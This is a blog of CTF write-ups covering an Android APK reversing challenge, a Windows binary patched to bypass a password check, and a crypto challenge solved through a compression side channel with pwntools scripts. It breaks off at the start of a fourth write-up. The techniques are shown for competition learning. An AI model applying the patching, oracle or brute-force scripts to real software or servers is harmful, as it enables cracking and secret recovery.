Monday, March 30, 2015

0ops CTF Qualifiers 2015 - Vezel - Mobile Challenge

I haven't ever done a mobile challenge before so I thought I'd give this a try as it was one of the earliest challenges made available on the 0ctf site when it began. The clue was only this:


So firstly we download the file, it's an Android APK which is really just a ZIP file package of all the necessary goodness for a Android device to install

 -rwxrw-rw- 1 root root 907004 Mar 30 11:00 vezel.apk  
 root@mankrik:~/0ctf/vezel# file vezel.apk   
 vezel.apk: Zip archive data, at least v2.0 to extract  

So let's just unzip it and examine the contents really quick, this challenge is only worth 100 points so maybe it's easy.

 root@mankrik:~/0ctf/vezel/zip# unzip -qq vezel.apk   
 root@mankrik:~/0ctf/vezel/zip# ls -la  
 total 3136  
 drwxr-xr-x 4 root root  4096 Mar 30 11:04 .  
 drwxr-xr-x 3 root root  4096 Mar 30 11:03 ..  
 -rw-r--r-- 1 root root  1804 Mar 27 11:29 AndroidManifest.xml  
 -rw-r--r-- 1 root root 2135512 Mar 27 11:29 classes.dex  
 drwxr-xr-x 2 root root  4096 Mar 30 11:04 META-INF  
 drwxr-xr-x 24 root root  4096 Mar 30 11:04 res  
 -rw-r--r-- 1 root root 142212 Mar 27 11:29 resources.arsc  
 -rwxr--r-- 1 root root 907004 Mar 30 11:03 vezel.apk  

Cool, all the normal Android stuff I guess. I don't know much about Android files so lets just strings everything and look for a flag!

 root@mankrik:~/0ctf/vezel/zip# strings `find .` | grep -i 0ctf  
 0ctf0  
 0ctf0  
 0ctf  
 0CTF{  
 root@mankrik:~/0ctf/vezel/zip# grep -i 0ctf `find . -type f`  
 Binary file ./META-INF/CERT.RSA matches  
 Binary file ./classes.dex matches  

Ok the RSA cert and the classes.dex file match but not trivially, as in, I don't see a flag just lying about!

Next step is more research, I found that a classes.dex file is a Dalvik Executable which contains compiled Dalvik bytecode. These can usually be pulled apart by things like dexdump and apktool to get to the Dalvik code which, when you look at it looks like someone took all the worst bits of Java and jammed it into assembly code, and then turned a blender on. But worse.  I decompiled that anyway and tried to read the Dalvik byte code. Using that method I did figure out basically what it was doing but it was a horrible way to go about it so I will save you the time.

The proper way to do this is to convert the Dalvik executable (classes.dex) into Java binaries using a tool called dex2jar (there are others, but I used dex2jar for this).

 root@mankrik:~/0ctf/vezel/zip# dex2jar classes.dex   
 this cmd is deprecated, use the d2j-dex2jar if possible  
 dex2jar version: translator-0.0.9.15  
 dex2jar classes.dex -> classes_dex2jar.jar  
 Done.  

 root@mankrik:~/0ctf/vezel/zip# ls -la  
 total 4292  
 drwxr-xr-x 4 root root  4096 Mar 30 13:46 .  
 drwxr-xr-x 3 root root  4096 Mar 30 11:03 ..  
 -rw-r--r-- 1 root root  1804 Mar 27 11:29 AndroidManifest.xml  
 -rw-r--r-- 1 root root 2135512 Mar 27 11:29 classes.dex  
 -rw-r--r-- 1 root root 1179969 Mar 30 13:46 classes_dex2jar.jar  
 drwxr-xr-x 2 root root  4096 Mar 30 11:04 META-INF  
 drwxr-xr-x 24 root root  4096 Mar 30 11:04 res  
 -rw-r--r-- 1 root root 142212 Mar 27 11:29 resources.arsc  
 -rwxr--r-- 1 root root 907004 Mar 30 11:03 vezel.apk  

This results in a classes_dex2jar.jar file which, as all .jar files are, is just a .zip file containing the compiled Java classes. You can just unzip that file to get at the Java binaries:

 root@mankrik:~/0ctf/vezel/zip# file classes_dex2jar.jar   
 classes_dex2jar.jar: Zip archive data, at least v2.0 to extract  
 root@mankrik:~/0ctf/vezel/zip# unzip -qq classes_dex2jar.jar   
 root@mankrik:~/0ctf/vezel/zip# ls -la  
 total 4300  
 drwxr-xr-x 6 root root  4096 Mar 30 14:29 .  
 drwxr-xr-x 3 root root  4096 Mar 30 11:03 ..  
 drwxr-xr-x 3 root root  4096 Mar 30 13:46 android  
 -rw-r--r-- 1 root root  1804 Mar 27 11:29 AndroidManifest.xml  
 -rw-r--r-- 1 root root 2135512 Mar 27 11:29 classes.dex  
 -rw-r--r-- 1 root root 1179969 Mar 30 13:46 classes_dex2jar.jar  
 drwxr-xr-x 3 root root  4096 Mar 30 13:46 com  
 drwxr-xr-x 2 root root  4096 Mar 30 11:04 META-INF  
 drwxr-xr-x 24 root root  4096 Mar 30 11:04 res  
 -rw-r--r-- 1 root root 142212 Mar 27 11:29 resources.arsc  
 -rwxr--r-- 1 root root 907004 Mar 30 11:03 vezel.apk  

The Java binaries for the Vezel program live in the com/ctf/vezel/ folder after extraction from the .jar file:

 root@mankrik:~/0ctf/vezel/zip# cd com/  
 root@mankrik:~/0ctf/vezel/zip/com# cd ctf  
 root@mankrik:~/0ctf/vezel/zip/com/ctf# cd vezel/  
 root@mankrik:~/0ctf/vezel/zip/com/ctf/vezel# ls -la  
 total 104  
 drwxr-xr-x 2 root root 4096 Mar 30 13:46 .  
 drwxr-xr-x 3 root root 4096 Mar 30 13:46 ..  
 -rw-r--r-- 1 root root  415 Mar 30 13:46 BuildConfig.class  
 -rw-r--r-- 1 root root 2579 Mar 30 13:46 MainActivity.class  
 -rw-r--r-- 1 root root  453 Mar 30 13:46 R$anim.class  
 -rw-r--r-- 1 root root 7191 Mar 30 13:46 R$attr.class  
 -rw-r--r-- 1 root root  582 Mar 30 13:46 R$bool.class  
 -rw-r--r-- 1 root root  765 Mar 30 13:46 R.class  
 -rw-r--r-- 1 root root 3373 Mar 30 13:46 R$color.class  
 -rw-r--r-- 1 root root 2714 Mar 30 13:46 R$dimen.class  
 -rw-r--r-- 1 root root 2976 Mar 30 13:46 R$drawable.class  
 -rw-r--r-- 1 root root 2633 Mar 30 13:46 R$id.class  
 -rw-r--r-- 1 root root  266 Mar 30 13:46 R$integer.class  
 -rw-r--r-- 1 root root 1472 Mar 30 13:46 R$layout.class  
 -rw-r--r-- 1 root root  247 Mar 30 13:46 R$menu.class  
 -rw-r--r-- 1 root root  253 Mar 30 13:46 R$mipmap.class  
 -rw-r--r-- 1 root root 1258 Mar 30 13:46 R$string.class  
 -rw-r--r-- 1 root root 15495 Mar 30 13:46 R$styleable.class  
 -rw-r--r-- 1 root root 14911 Mar 30 13:46 R$style.class  

And these files are listed as Java binaries by file:

 root@mankrik:~/0ctf/vezel/zip/com/ctf/vezel# file MainActivity.class   
 MainActivity.class: compiled Java class data, version 50.0 (Java 1.6)  

Ok so I want to check what this program is doing, but I don't want to emulate it and I don't have Android SDK. I could get all those things but first there's a simpler way. A Java decompiler.

I looked around very briefly and found a nice Linux supporting one called JD-GUI at jd.benow.ca. I grabbed that and installed it quickly. It needs 32bit GTK libraries so I made sure those were installed on my Kali VM also...

 root@mankrik:~/0ctf/vezel/zip/com/ctf/vezel# wget -q http://jd.benow.ca/jd-gui/downloads/jd-gui-0.3.5.linux.i686.tar.gz  
 root@mankrik:~/0ctf/vezel/zip/com/ctf/vezel# apt-get install ia32-libs-gtk  
 Reading package lists... Done  
 Building dependency tree      
 Reading state information... Done  
 ia32-libs-gtk is already the newest version.  
 0 upgraded, 0 newly installed, 0 to remove and 27 not upgraded.  
 root@mankrik:~/0ctf/vezel/zip/com/ctf/vezel# tar -zxf jd-gui-0.3.5.linux.i686.tar.gz   
 root@mankrik:~/0ctf/vezel/zip/com/ctf/vezel# ./jd-gui   

When it fires up, I opened the MainActivity.class file because it seemed.... pretty ... main .... I guess... The decompiler GUI is really nice and easy and fast to move around in. The Java code is very easy to read versus the Dalvik byte code!


The main crux of the program comes once the user clicks "Confirm" which is a button in the Android app. The button fires up this function:

 public void confirm(View paramView)  
  {  
   String str1 = String.valueOf(getSig(getPackageName()));  
   String str2 = getCrc();  
   if (("0CTF{" + str1 + str2 + "}").equals(this.et.getText().toString()))  
   {  
    Toast.makeText(this, "Yes!", 0).show();  
    return;  
   }  
   Toast.makeText(this, "0ops!", 0).show();  
  }  

Which is a hell of a lot like a flag string. So yay, we got a strong lead: The flag consists of the strings

  • "0CTF{" 
  • str1 - a string made up of the return value of getSig(getPackageName())
  • str2 - a string made up of the return value of getCrc()
  • "}"
Ok so we need to find the return values of these functions to build the flag. Let's focus on str1 first.

This string is returned by this function:

 private int getSig(String paramString)  
  {  
   PackageManager localPackageManager = getPackageManager();  
   try  
   {  
    int i = localPackageManager.getPackageInfo(paramString, 64).signatures[0].toCharsString().hashCode();  
    return i;  
   }  
   catch (Exception localException)  
   {  
    localException.printStackTrace();  
   }  
   return 0;  
  }  

So it uses the localPackageManager to getPackageInfo about the hashcode of the signature of the package. Brilliant. WTF is that... This needed quite a bit of research but I was able to retrieve the package signature via two methods.

  1. Installed an APK tool inside an Android emulator that had the vezel.apk installed. There are so many APK extractors/tools/etc on the android store but almost all of them are horrible applications. Only one of them was able to give me a package signature and I can't remember which of the 10 or so apps it was. Suffice to say this option was a bit of a waste of time.
  2. Derive it from the APK itself. This needs more research.
I went with option 1 for a while, got a signature (turned out to be correct but I didnt know at the time) but it wasn't what I used to beat the challenge. I stumbled across this link in my research which turned out to be the right idea. What the function returns is the hashCode() of the getPackageInfo().signatures[0].toCharsString(). 

 In the Java programming language, every class implicitly or explicitly provides a hashCode() 
method, which digests the data stored in an instance of the class into a single hash value 
(a 32-bit signed integer).  

Great so we combine our knowledge of what a hashcode is and the source code from the link above which parses APK file certificates, specifically to get package signatures to get this part of the challenge done.

We use this Java code (snippet below) to get the signature hashcode. Notice it is the same Java code from the link except the hashcode calculation is changed to be the one we need and some of the extraneous output we don't need was removed:

   if (certs != null && certs.length > 0) {  
   final int N = certs.length;  
   for (int i = 0; i < N; i++) {  
    String charSig = new String(toChars(certs[i].getEncoded()));  
    System.out.println("Cert#: " + i + " Type:" + certs[i].getType()  
    + "\nstr1 is: " + charSig.hashCode());  
   }  
   } else {  
   System.err.println("Package has no certificates; ignoring!");  
   return;  
   }  

When we run it we get this output:

 root@mankrik:~/0ctf/vezel# javac Main.java   
 root@mankrik:~/0ctf/vezel# java Main   
 Usage: java -jar GetAndroidSig.jar <apk/jar>  
 root@mankrik:~/0ctf/vezel# java Main vezel.apk   
 vezel.apk  
 classes.dex 1189242199  
 Cert#: 0 Type:X.509  
 str1 is: -183971537  

Great so thats the first half of the flag, now let's look at str2. This is returned by the following function:

 private String getCrc()  
  {  
   try  
   {  
    String str = String.valueOf(new ZipFile(getApplicationContext().getPackageCodePath()).getEntry("classes.dex").getCrc());  
    return str;  
   }  
   catch (Exception localException)  
   {  
    localException.printStackTrace();  
   }  
   return "";  
  }  

So this just looks through it's own APK file looking for the file classes.dex and then returns the CRC value of that file. Too easy.

I wanted to do this a few ways but I settled on strictly doing this in Java so my results aligned exactly with the Vezel program. There are a lot of Java tutorials on the net about doing exactly that so all I needed to do was integrate it into my existing Java code from before.

I did this and my final result was this code:

 import java.io.IOException;  
 import java.io.InputStream;  
 import java.lang.ref.WeakReference;  
 import java.security.Signature;  
 import java.security.cert.*;  
 import java.util.Enumeration;  
 import java.util.jar.JarEntry;  
 import java.util.jar.JarFile;  
 import java.util.logging.Level;  
 import java.util.logging.Logger;  
 import java.util.zip.ZipEntry;  
 import java.util.zip.ZipFile;  
 public class Main {  
  private static final Object mSync = new Object();  
  private static WeakReference<byte[]> mReadBuffer;  
  public static void main(String[] args) {  
  if (args.length < 1) {  
   System.out.println("Usage: java -jar GetAndroidSig.jar <apk/jar>");  
   System.exit(-1);  
  }  
  long mycrc = 0;  
  System.out.println(args[0]);  
  String mArchiveSourcePath = args[0];  
  try {  
  ZipFile zipFile = new ZipFile(args[0]);  
  Enumeration o = zipFile.entries();  
  while(o.hasMoreElements())   
  {  
      ZipEntry entry = (ZipEntry)o.nextElement();  
      String entryName = entry.getName();  
      long crc = entry.getCrc();  
      if(entryName.startsWith("classes.dex")) {  
           System.out.print(entryName + " " + crc + "\n");  
           mycrc = crc;       
     }  
  }  
  zipFile.close();  
  }  
  catch(IOException ioe)  
  {  
      System.out.println("Error opening Zip."+ioe);  
  }  
  WeakReference<byte[]> readBufferRef;  
  byte[] readBuffer = null;  
  synchronized (mSync) {  
   readBufferRef = mReadBuffer;  
   if (readBufferRef != null) {  
   mReadBuffer = null;  
   readBuffer = readBufferRef.get();  
   }  
   if (readBuffer == null) {  
   readBuffer = new byte[8192];  
   readBufferRef = new WeakReference<byte[]>(readBuffer);  
   }  
  }  
  try {  
   JarFile jarFile = new JarFile(mArchiveSourcePath);  
   java.security.cert.Certificate[] certs = null;  
   Enumeration entries = jarFile.entries();  
   while (entries.hasMoreElements()) {  
   JarEntry je = (JarEntry) entries.nextElement();  
   if (je.isDirectory()) {  
    continue;  
   }  
   if (je.getName().startsWith("META-INF/")) {  
    continue;  
   }  
   java.security.cert.Certificate[] localCerts = loadCertificates(jarFile, je, readBuffer);  
   if (false) {  
    System.out.println("File " + mArchiveSourcePath + " entry " + je.getName()  
      + ": certs=" + certs + " ("  
      + (certs != null ? certs.length : 0) + ")");  
   }  
   if (localCerts == null) {  
    System.err.println("Package has no certificates at entry "  
      + je.getName() + "; ignoring!");  
    jarFile.close();  
    return;  
   } else if (certs == null) {  
    certs = localCerts;  
   } else {  
    // Ensure all certificates match.  
    for (int i = 0; i < certs.length; i++) {  
    boolean found = false;  
    for (int j = 0; j < localCerts.length; j++) {  
     if (certs[i] != null  
       && certs[i].equals(localCerts[j])) {  
     found = true;  
     break;  
     }  
    }  
    if (!found || certs.length != localCerts.length) {  
     System.err.println("Package has mismatched certificates at entry "  
       + je.getName() + "; ignoring!");  
     jarFile.close();  
     return; // false  
    }  
    }  
   }  
   }  
   jarFile.close();  
   synchronized (mSync) {  
   mReadBuffer = readBufferRef;  
   }  
   if (certs != null && certs.length > 0) {  
   final int N = certs.length;  
   for (int i = 0; i < N; i++) {  
    String charSig = new String(toChars(certs[i].getEncoded()));  
    System.out.println("Cert#: " + i + " Type:" + certs[i].getType()  
    + "\nYour flag sir: 0CTF{" + charSig.hashCode()  
     + mycrc  
     + "}");  
   }  
   } else {  
   System.err.println("Package has no certificates; ignoring!");  
   return;  
   }  
  } catch (CertificateEncodingException ex) {  
   Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);  
  } catch (IOException e) {  
   System.err.println("Exception reading " + mArchiveSourcePath + "\n" + e);  
   return;  
  } catch (RuntimeException e) {  
   System.err.println("Exception reading " + mArchiveSourcePath + "\n" + e);  
   return;  
  }  
  }  
  private static char[] toChars(byte[] mSignature) {  
   byte[] sig = mSignature;  
   final int N = sig.length;  
   final int N2 = N*2;  
   char[] text = new char[N2];  
   for (int j=0; j<N; j++) {  
    byte v = sig[j];  
    int d = (v>>4)&0xf;  
    text[j*2] = (char)(d >= 10 ? ('a' + d - 10) : ('0' + d));  
    d = v&0xf;  
    text[j*2+1] = (char)(d >= 10 ? ('a' + d - 10) : ('0' + d));  
   }  
   return text;  
   }  
  private static java.security.cert.Certificate[] loadCertificates(JarFile jarFile, JarEntry je, byte[] readBuffer) {  
  try {  
   // We must read the stream for the JarEntry to retrieve  
   // its certificates.  
   InputStream is = jarFile.getInputStream(je);  
   while (is.read(readBuffer, 0, readBuffer.length) != -1) {  
   // not using  
   }  
   is.close();  
   return (java.security.cert.Certificate[]) (je != null ? je.getCertificates() : null);  
  } catch (IOException e) {  
   System.err.println("Exception reading " + je.getName() + " in "  
     + jarFile.getName() + ": " + e);  
  }  
  return null;  
  }  
 }  

Which I ran and which gave me this output.

 root@mankrik:~/0ctf/vezel# javac Main.java   
 root@mankrik:~/0ctf/vezel# java Main vezel.apk   
 vezel.apk  
 classes.dex 1189242199  
 Cert#: 0 Type:X.509  
 Your flag sir: 0CTF{-1839715371189242199}  

I was initially upset that the hashcode was a negative number. The flag looked pretty dumb to me. I would have preferred the hex value of these but oh well. We submitted the flag and it was correct.

Writeup: Dacat






Thursday, March 26, 2015

Securinets CTF Quals 2015 - aucun_choix Reversing Challenge

What a strange CTF this one was. Judging by all the comments on CTFtime a lot of people couldn't get past the registration page. I myself registered ok, it was in French but Google translate got the message across. When I began the CTF I immediately noticed that this was a challenge for beginners. That's great I do need to brush up on my basic skills.

Anyway unfortunately the website is now down so I can't get screencaps of the site but the challenge I will document from Securinets is called aucun_choix which is a reversing / cracking challenge.

First thing we do is download the binary given and examine it with file:

 root@mankrik:~/securinets# file aucun_choix.exe   
 aucun_choix.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows  

Ok cool, a console app. Let's run it and see what it does. I'll use Wine so I don't leave my Kali VM.

 root@mankrik:~/securinets# wine aucun_choix.exe   
 Trouvez moi si vous pouvez  
 e  
 ratÚ cherche encore!  

Ok, it doesn't do anything except for that. Let's put it in IDA Pro because we can. I immediately look at the _main function and see this jnz instruction:


So it does a strcmp, and based on the result will either tell you to try again or tell you bravo! I guess we got encore but we want bravo. So let's just flip the jnz to a jz instruction in the binary and see what happens. 

The jnz instruction lives at binary offset 0x806, opcodes are 0x75 0x64 and we want a JZ instruction so the opcodes are 0x74 0x64

After patching that one byte and saving the file we run it again:

 root@mankrik:~/securinets# wine aucun_choix_cracked.exe   
 Trouvez moi si vous pouvez  
 a       
 oh mon dieu t'as reussi bravo ! mdp est concatene ordre est 4 2 3 1   

Sweet. WTF does it mean though?

Google translate helps a little, it basically says, well done, the MDP concatenation order is 4, 2, 3, 1. Great, what is MDP? A little bit of Googling tells me that MDP is a French abbreviation for "mot de passe" or "password". So the translation is really, "the password concatenation order is 4, 2, 3, 1"

Ok but what password? Back to IDA Pro and we search about for strings that we might want to concatenate. We quickly spot some likely data in the .rdata segment:


So a quick select, Right click, Edit->Export Data and we have an export with the following text in it:
  1. 123456
  2. 7891011
  3. 12131415
  4. numbers:
Ok so if we go by the concatenation order we get:
  • numbers:789101112131415123456

We submit this as the flag and collect the points.

Monday, March 23, 2015

BCTF 2015 - weak_enc Crypto challenge

After a challenging enough "Warm Up" challenge at BCTF2015 which involved cracking a poorly thought out RSA encryption, the next challenge we decided to tackle was the weak_enc challenge worth only 200 points. I don't normally do crypto but the warmup challenge really got me in the mood so, here we go!

The challenge was fairly self explanatory thankfully, a link for a download, a cipher text to crack and an IP / port where a server can be reached:



So firstly I downloaded the file and decompressed it. It had a .py extension so we knew it would be a Python script. Examining the code in the Python we find it is an encryption server code which listens on port 8888/tcp.

We also see it uses a salt as part of the encryption function and that the salt is not included in the files we downloaded. It imports "SALT" from a python module "grandmaToldMeNotToTalkToBigBadWolf".

 import hashlib  
 import string  
 from grandmaToldMeNotToTalkToBigBadWolf import SALT  
 DEBUG= False  
 MSGLENGTH = 40000  

Cool. Let's create a arbitrary salt file for now so we can see the service in action:

 root@mankrik:~/bctf/weak# echo SALT=\'abcd\' > grandmaToldMeNotToTalkToBigBadWolf.py  
 root@mankrik:~/bctf/weak# python weak_enc-40eb1171f07d8ebb06bbf36849d829a1.py   

Let's connect to it and see what happens:

 root@mankrik:~# nc localhost 8888  
 Please provide your proof of work, a sha1 sum ending in 16 bit's set to 0, it must be of length 21 bytes, starting with QN+yjqWfMwADrUsv  
 test  
 Check failed  

Ok before we can even access the encryption server, we have a riddle to solve? We must be able to solve this riddle to proceed to the next level because I have a feeling that, even though we have the full code of the encryption algorithm, without the salt, we will never decrypt the challenge.

The only way we're getting the salt is through the live BCTF server.  So we need to pass this test.

As it turns out, this is a fairly standard riddle used in CTF competitions often. We solve it using a brute force approach using Python itertools module to build every possible combination of characters and test for combinations that meet the requirements. I have reused code from this link with some modifications for our particular circumstances below:

 proof = puzzlefromserver  
 charset = ''.join( [ chr( x ) for x in xrange( 0, 128 ) ] )  
 found = False  
 for comb in itertools.combinations( charset, 5 ):  
   test = proof + ''.join( comb )  
   ha=hashlib.sha1()  
   ha.update( test )  
   if ( ord( ha.digest()[ -1 ] ) == 0x00 and  
       ord( ha.digest()[ -2 ] ) == 0x00):  
     found = True  
     break  
 if not found:  
   print 'Could not find string =('  
   quit()  

The output of the snippet above is a string in the variable "test" that meets the criteria demanded of us by the server.

So it's time to start whipping up a client to begin probing our way through the encryption part of this crypto challenge.

For this I'm using Binjitsu, which I am still learning and finding great features in every day. The first thing I want to do is just connect, and then pass the riddle and get to the Encryption service. Let's use this code to do that:

 #!/usr/bin/python  
 from pwn import *  
 import hashlib, itertools  
 # This is the plaintext we are going to encrypt  
 plaintext = 'a' * 1  
 conn = remote('localhost',8888)  
 #conn = remote('146.148.79.13',8888)  
 task = conn.recvline()  
 line = task.split()  
 proof = line[25]  
 print "Got challenge ("+proof+"). Brute forcing a response..."  
 charset = ''.join( [ chr( x ) for x in xrange( 0, 128 ) ] )  
 found = False  
 for comb in itertools.combinations( charset, 5 ):  
   test = proof + ''.join( comb )  
   ha=hashlib.sha1()  
   ha.update( test )  
   if ( ord( ha.digest()[ -1 ] ) == 0x00 and  
       ord( ha.digest()[ -2 ] ) == 0x00):  
     found = True  
     break  
 if not found:  
   print 'Could not find string =('  
   quit()  
 print "Responding to challenge..."  
 conn.send(test)  
 conn.sendafter(':', plaintext + "\n")  
 encrypted = conn.recvline()  
 line = encrypted.split()  
 print "Plaintext "+plaintext+" encrypted is "+line[3]  
 conn.close()  

And when we run it...

 root@mankrik:~/bctf/weak# python pwnweak.py.p1  
 [+] Opening connection to localhost on port 8888: Done  
 Got challenge (3REpDAwCe+Mmxb85). Brute forcing a response...  
 Responding to challenge...  
 Plaintext a encrypted is Q0isU8Y=  
 [*] Closed connection to localhost port 8888  

Ok cool we're in! And now I have a script I can encrypt anything with. That's step 1.

Next we need to figure out a way to approach the deduction of the salt. Let's browse the server code some more.

 def LZW(s, lzwDict): # LZW written by NEWBIE  
   for c in s: updateDict(c, lzwDict)  
   print lzwDict # have to make sure it works  
   result = []  

Notice here we have a LZW function which is a lossless compression algorithm. Whether this algorithm implements true LZW or not is not important. What is important is that it's a compression algorithm (presumably) and that's cool because compression gives us interesting results when encrypting.

The idea I'm using here, is that, when you add a salt to a plaintext and compress them before encryption, if the plaintext and the salt have common factors then the ciphertext will be of a unexpected, and shorter, length. Let's take this oversimplified example:
  • Case #1
  • Salt: beef
  • Plaintext: aaaaaa
  • Ciphertext: AzTzDa
  • Case #2
  • Salt: beef
  • Plaintext: eeeeee
  • Ciphertext: TrZw
Notice how in this example, the plaintext containing letters that coincide with those found inside the salt resulted in a shorter ciphertext? From this we can deduce that the letter "e" is within the salt.

We try this in our "lab" environment by modifying our Python code with a for loop, from the server code we know that the salt can only contain lowercase letters a-z because it checks that, so that's cool.

Let's iterate through the characters a-z against our lab where we've configured the salt "abcd" and see what happens! Here's a link to the full code of this version.

 # iterate through lowercase letters  
 for letter in range(97,122+1):  
     plaintext = chr(letter) * 10  
     conn = remote('localhost',8888)  

Then let's run our code against our lab server, I'm only interested in seeing the encrypted results so I'll grep for "encrypted":

 root@mankrik:~/bctf/weak# python pwnweak.py.p2 | grep encrypted  
 Plaintext aaaaaaaaaa encrypted is Q0isU8aHWYY=  
 Plaintext bbbbbbbbbb encrypted is Q0isU8eHWYY=  
 Plaintext cccccccccc encrypted is Q0isU8SHWYY=  
 Plaintext dddddddddd encrypted is Q0isU8GHWY8=  
 Plaintext eeeeeeeeee encrypted is Q0isU8KGWoc=  
 Plaintext ffffffffff encrypted is Q0isU8KGWoc=  
 Plaintext gggggggggg encrypted is Q0isU8KGWoc=  
 Plaintext hhhhhhhhhh encrypted is Q0isU8KGWoc=  
 Plaintext iiiiiiiiii encrypted is Q0isU8KGWoc=  
 Plaintext jjjjjjjjjj encrypted is Q0isU8KGWoc=  

Wow check that out. For letters a - d the encrypted output differs but for all other encryptions the ciphertext is the same. So we deduce the salt has the letters a,b,c, and d. Cool.

Let's do this against the production server! They can't mind just 26 connections surely!

 Plaintext gggggggggg encrypted is NxQ1NDIZcTY/5HkaBS4t  
 Plaintext hhhhhhhhhh encrypted is NxQ1NDIZcTY/5HkaBS4t  
 Plaintext iiiiiiiiii encrypted is NxQ1NDMYcDcw53gfGi8u  
 Plaintext jjjjjjjjjj encrypted is NxQ1NDIZcTY/5HkaBS4t  
 Plaintext kkkkkkkkkk encrypted is NxQ1NDMYcDcw53gcGi8u  
 Plaintext llllllllll encrypted is NxQ1NDIZcTY/5HkaBS4t  
 Plaintext mmmmmmmmmm encrypted is NxQ1NDIZcTY/5HkaBS4t  
 Plaintext nnnnnnnnnn encrypted is NxQ1NDMYcDcw53geGi8u  
 Plaintext oooooooooo encrypted is NxQ1NDMYcDcw53gdGi8u  
 Plaintext pppppppppp encrypted is NxQ1NDIZcTY/5HkaBS4t  
 Plaintext qqqqqqqqqq encrypted is NxQ1NDIZcTY/5HkaBS4t  
 Plaintext rrrrrrrrrr encrypted is NxQ1NDIZcTY/5HkaBS4t  

Excellent, we're making progress. We know a couple of things from this.

  1. We know the salt is much longer than our "lab" salt because the ciphertext is much longer for the same input. 
  2. We also know that the sale must contain the letters "i", "k", "o", and "n". All other ciphertexts remain the same.

Where to go from here? It is next possible to deduce the position of each byte in the salt by examining the individual bits in the ciphertext output. That is complicated though so is there anything we can do to quickly brute force this?

I got the idea from a colleague to assume that the salt fit the basic rules of an English language word and build a list of anagrams using the "ikon" letters, then apply them as salts in the server code until I reached a decryption of a known plaintext that matched a known ciphertext from the production server.

So we know:

  1. The string "gggggggggg" encrypts to "NxQ1NDIZcTY/5HkaBS4t". 
  2. The salt is > 4 bytes
  3. The salt contains characters i,k,o and n
We assume:
  1. The salt is an english word or at least a string that is made up of words following the rules of the english language (i.e. no "ooo" sequences)
So I made these modifications to the server code, which basically takes a plaintext from the client, then brute forces every combination of the 15 combinations of 4 letter uses of the letters i,k,o and n I came up with and sends them to the client.

Why did I chose 4 bytes and 5 sets of 4 bytes? At first I tried other values but by the time I found the salt this was the code I had. This is capable of searching for salts in any multiple of 4 bytes by modifying the itertools repeat value as well as the format string:

 ...  
 def encrypt(m,salt):  
   lzwDict = dict()  
   toEnc = LZW(salt + m, lzwDict)  
   key = hashlib.md5(salt*2).digest()  
 ...  
     print "looking for salts"  
     koala = ('ikon', 'ionk', 'inok','onik','oink','nino','nini', 'niko', 'koni', 'koin', 'kino', 'niok', 'noik','noki','niko',);  
     for findsalt in itertools.product(koala, repeat = 5):  
         salttry = '{}{}{}{}{}'.format(*findsalt)  
         print "Salt: " + salttry  
         encd = encrypt(msg, salttry)  
         print "Encrypted: " + encd  
         req.sendall(salttry + ":" + encd + "\n")  
 ...  

On the client side I went back to my basic, single throw non-looping client that just sends the string "gggggggggg" and then polls the server for every encrypted output. The server will be sending us a LOT so I just put it in a while loop forever because it was quick and easy. Here's a link to this version of the client.

 # This is the plaintext we are going to encrypt  
 plaintext = 'g' * 10  
 conn.sendafter(':', plaintext + "\n")  
 while True:  
     encrypted = conn.recvline()  
     print "Response: " + encrypted  

Then we wanna run it until we get a string containing the known good ciphertext we previously retrieved from the production server "NxQ1NDIZcTY/5HkaBS4t". Within 3 minutes we got the following output:

 root@mankrik:~/bctf/weak# time python pwnweak.py.p3 | grep NxQ1  
 Response: inokonikniokonikoink:iJykNxQ1QNqCzMLoilrI580hIg==  
 Response: niniinokniniionkikon:Q3LUXv0lUVNxQ1dZV1WUYF9W  
 Response: nikonikoninikonikoni:NxQ1NDIZcTY/5HkaBS4t  

Congrats, we now know the salt used to encrypt on the production server is "nikonikoninikonikoni". This is step 2 done! This challenge is not solved yet though. We have a message to decrypt next.

So taking what we know now, how can we apply this to decryption? I first thought to analyse the encryption and compression functions but before I got too far I noticed just how closely the encrypted versions of the long strings of n, i, k, and o matched the decryption challenge.

For example, from earlier we know:

  1. Challenge ciphertext: NxQ1NDMYcDcw53gVHzI7
  2. 10 n's ciphertext:  NxQ1NDMYcDcw53geGi8u
  3. 10 letters not in the list i,k,o,n:  NxQ1NDIZcTY/5HkaBS4t
Notice that the ciphertext for letters in the list i,k,o,n are correct until the last 5 bytes of the challenge ciphertext. Can we apply our salt brute force technique to the challenge to result in a quick win?

Firstly, let's set our server code back to "stock" and configure our SALT correctly now that we know it.

Next we'll modify the client code to again, use a loop to continuously ask our localhost server to encrypt values. This time our plaintext will iterate through blocks of 4 characters we used previously to find the salt.

You can view the client code we used at this link.

We started with a ciphertext of 4 bytes, then increased it in blocks of 4 bytes until we had this code which looked for 12 byte plaintexts:

 import hashlib, itertools  
 # list of combinations of plaintext possibly  
 pool = ('ikon', 'ionk', 'inok','onik','oink','nino','nini', 'niko', 'koni', 'koin', 'kino', 'niok', 'noik','noki','niko',);  
 # iterate through the combinations  
 for findsalt in itertools.product(pool, repeat = 3):  
     plaintext = '{}{}{}'.format(*findsalt)  
     conn = remote('localhost',8888)  

When run, we received a result in just over 2 minutes. We confirmed the string NxQ1NDMYcDcw53gVHzI7 is the result of encrypting the plaintext "nikoninikoni".

 root@mankrik:~/bctf/weak# date; python pwnweak.py.p4 | grep NxQ1NDMYcDcw53gVHzI7  
 Monday 23 March 20:28:18 AEDT 2015  
 Plaintext nikoninikoni encrypted is NxQ1NDMYcDcw53gVHzI7  
 ^C
 root@mankrik:~/bctf/weak# date  
 Monday 23 March 20:30:35 AEDT 2015  

Woot. That's the third and final step to this challenge. We submit the flag and get the 200 points.

A good challenge with many new steps for me, use of deduction and brute force together was very fun. Thanks to BCTF team.

Writeup: Dacat

Wednesday, March 18, 2015

Vancouver BSides 2015 - Sushi Pwnable

Our first time doing Vancouver BSides which was an event said to be aimed at beginners and students. I was expecting a fun and medium challenge but I found it to be trickier than expected and where I knew the general direction of the solutions for a number of problems I didn't get enough time to focus on them during the middle of the week where it was held.

Anyway, following my goal of writing up one challenge from each CTF here is my write-up for Sushi - a Pwnable challenge for 100 points making it the simplest challenge in the Pwnable category by points ranking.

For this challenge the clue was only the challenge name and a hostname and port number with a binary to download:

 sushi  
 sushi.termsec.net 4000  
 sushi-a6cbcb6858835fbc6d0b397d50541198cb4f98c8  

Upon downloading the file we perform the usual few checks, discover it is a just a 64 bit ELF Linux executable which has been stripped.

 root@mankrik:~/bsides/origfiles# file sushi-a6cbcb6858835fbc6d0b397d50541198cb4f98c8   
